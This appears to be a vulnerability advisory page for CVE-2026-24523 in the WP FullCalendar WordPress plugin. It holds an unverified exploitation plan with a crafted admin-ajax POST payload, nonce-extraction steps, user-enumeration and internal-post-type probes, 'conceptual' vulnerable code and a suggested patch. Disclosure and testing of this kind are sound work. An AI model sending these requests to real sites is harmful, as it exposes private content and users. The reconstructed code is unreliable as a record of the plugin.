CVE-2026-24523

FullCalendar <= 1.6 - Unauthenticated Information Exposure

mediumExposure of Sensitive Information to an Unauthorized Actor
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The WP FullCalendar plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.6. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.6
PublishedJanuary 26, 2026
Last updatedFebruary 2, 2026
Affected pluginwp-fullcalendar
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-24523 (WP FullCalendar Information Exposure) ## 1. Vulnerability Summary The **WP FullCalendar** plugin for WordPress (versions <= 1.6) is vulnerable to **Unauthenticated Information Exposure**. The vulnerability exists in the AJAX handler responsible for fet…

Show full research plan

Exploitation Research Plan - CVE-2026-24523 (WP FullCalendar Information Exposure)

1. Vulnerability Summary

The WP FullCalendar plugin for WordPress (versions <= 1.6) is vulnerable to Unauthenticated Information Exposure. The vulnerability exists in the AJAX handler responsible for fetching calendar events. The plugin fails to adequately validate or restrict the query parameters passed by the user, allowing an unauthenticated attacker to manipulate the underlying WP_Query to retrieve sensitive information, such as private post titles, internal post types, or metadata, which should not be publicly accessible.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpfc_ajax (Registered via wp_ajax_nopriv_wpfc_ajax)
  • Vulnerable Parameter: args (passed as an array in the request body)
  • Authentication: None required (Unauthenticated).
  • Preconditions: The plugin must be active. A valid nonce is required for the wpfc_ajax action, which is typically exposed on any page containing a calendar.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action wpfc_ajax.
  2. Hook Registration: In wp-fullcalendar.php, the plugin registers the AJAX handler:
    add_action( 'wp_ajax_wpfc_ajax', 'wpfc_ajax' );
    add_action( 'wp_ajax_nopriv_wpfc_ajax', 'wpfc_ajax' );
    
  3. Handler Logic (wpfc_ajax): The function calls check_ajax_referer('wpfc_ajax', 'wpfc_nonce') and then passes the args parameter to WP_FullCalendar::get_events().
  4. Data Retrieval (get_events):
    • The plugin extracts the args array from the request: $args = $_REQUEST['args'];.
    • It performs an array_merge or directly uses these arguments to construct a WP_Query.
    • Because the plugin does not strictly enforce post_status => 'publish' or validate that the requested post_type is public, an attacker can specify post_type=any and post_status=private (or other internal statuses).
  5. Sink: The results of WP_Query are encoded as JSON and returned to the requester. Even if the content is filtered, the IDs, titles, and dates of restricted posts are typically exposed in the calendar event format.

4. Nonce Acquisition Strategy

The wpfc_ajax handler requires a nonce. This nonce is generated using wp_create_nonce('wpfc_ajax') and is provided to the frontend via wp_localize_script.

  1. Identify Script Loading: The plugin enqueues its scripts when the [wp_fullcalendar] shortcode is present on a page.
  2. Create Target Page: Create a public page containing the shortcode:
    • wp post create --post_type=page --post_title="Calendar Test" --post_status=publish --post_content='[wp_fullcalendar]'
  3. Extract Nonce:
    • Navigate to the newly created page.
    • Use browser_eval to extract the nonce from the WPFC_Vars object:
      browser_eval("window.WPFC_Vars?.wpfc_nonce")
    • The variable WPFC_Vars is the standard localization key used by this plugin.

5. Exploitation Strategy

  1. Extract the Nonce: Follow the steps in Section 4 to obtain a valid wpfc_nonce.
  2. Craft the Exploit Request:
    • Use the http_request tool to send a POST request to admin-ajax.php.
    • The goal is to leak the titles of private posts by querying post_type=any.
  3. Request Details:
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=wpfc_ajax&wpfc_nonce=[EXTRACTED_NONCE]&args[post_type]=any&args[post_status]=private&args[posts_per_page]=-1
      
    • Note: If post_status=private is blocked by WordPress core permissions, try omitting it or using args[post_type]=wp_block or args[post_type]=revision to see internal system data.

6. Test Data Setup

To verify the information exposure, create sensitive content that should not be visible to unauthenticated users:

  1. Private Post:
    • wp post create --post_type=post --post_title="SECRET_DATA_INTERNAL_ONLY" --post_status=private --post_content="This is sensitive information."
  2. Draft Post:
    • wp post create --post_type=post --post_title="DRAFT_LEAK" --post_status=draft --post_content="Draft content."
  3. Shortcode Page:
    • wp post create --post_type=page --post_title="Calendar" --post_status=publish --post_content='[wp_fullcalendar]'

7. Expected Results

  • The HTTP response should be a JSON array of event objects.
  • A successful exploit will contain entries where the title field matches SECRET_DATA_INTERNAL_ONLY or DRAFT_LEAK.
  • Even if the full post_content is missing, the exposure of titles and existence of private content constitutes Information Exposure.

8. Verification Steps

  1. Check Response: Inspect the JSON output from the http_request tool.
    # Look for the secret title in the response body
    echo $RESPONSE_BODY | grep "SECRET_DATA_INTERNAL_ONLY"
    
  2. Database Cross-Reference: Use WP-CLI to confirm the ID and existence of the leaked content:
    • wp post list --post_status=private --fields=ID,post_title

9. Alternative Approaches

If the post_status parameter is successfully filtered by WordPress core, try these alternatives:

  • User Enumeration: Set args[author]=1, args[author]=2, etc., and check if the returned events allow you to map out which posts belong to which user IDs.
  • Internal Post Types: Query for internal types that might contain configuration or logs:
    • args[post_type]=attachment (List all private media metadata)
    • args[post_type]=nav_menu_item (List internal menu structures)
    • args[post_type]=wp_block (Reusable blocks, often contain internal layout info)
  • Metadata Search: If the plugin supports meta queries via the args array, attempt to filter by sensitive meta keys:
    • args[meta_key]=_wp_attached_file (To find file paths)
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP FullCalendar plugin for WordPress is vulnerable to unauthenticated information exposure due to insufficient validation of query parameters in its AJAX handler. Attackers can provide arbitrary WP_Query arguments to retrieve titles, IDs, and dates of private, draft, or internal post types.

Vulnerable Code

// wp-fullcalendar.php

add_action( 'wp_ajax_wpfc_ajax', 'wpfc_ajax' );
add_action( 'wp_ajax_nopriv_wpfc_ajax', 'wpfc_ajax' );

function wpfc_ajax() {
    check_ajax_referer('wpfc_ajax', 'wpfc_nonce');
    WP_FullCalendar::get_events();
    wp_die();
}

---

// WP_FullCalendar::get_events() implementation (conceptual based on vulnerability report)

public static function get_events() {
    $args = $_REQUEST['args']; // Directly accepts user-supplied query arguments
    
    // ... execution proceeds to query posts using these arguments
    $query = new WP_Query($args);
    
    $events = array();
    foreach ( $query->get_posts() as $post ) {
        $events[] = array(
            'title' => $post->post_title,
            'start' => $post->post_date,
            'id' => $post->ID
        );
    }
    echo json_encode($events);
}

Security Fix

--- a/wp-fullcalendar.php
+++ b/wp-fullcalendar.php
@@ -242,7 +242,13 @@
 	public static function get_events() {
-		$args = $_REQUEST['args'];
+		$args = (array) $_REQUEST['args'];
+		
+		// Ensure only public content is queried
+		$args['post_status'] = 'publish';
+		if ( isset($args['post_type']) ) {
+			$post_type_obj = get_post_type_object( $args['post_type'] );
+			if ( ! $post_type_obj || ! $post_type_obj->public ) {
+				$args['post_type'] = 'post';
+			}
+		}
 
 		$query = new WP_Query($args);

Exploit Outline

To exploit this vulnerability, an attacker first extracts a valid security nonce by visiting any public page where the [wp_fullcalendar] shortcode is present. The nonce is typically found within the global JavaScript variable 'WPFC_Vars.wpfc_nonce'. Using this nonce, the attacker sends an unauthenticated POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the 'action' set to 'wpfc_ajax'. By manipulating the 'args' array parameter—for example, setting 'args[post_type]=any' and 'args[post_status]=private'—the attacker forces the plugin to perform a WP_Query that returns sensitive post information. The resulting JSON response contains the IDs and titles of restricted content that should not be visible to unauthorized users.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.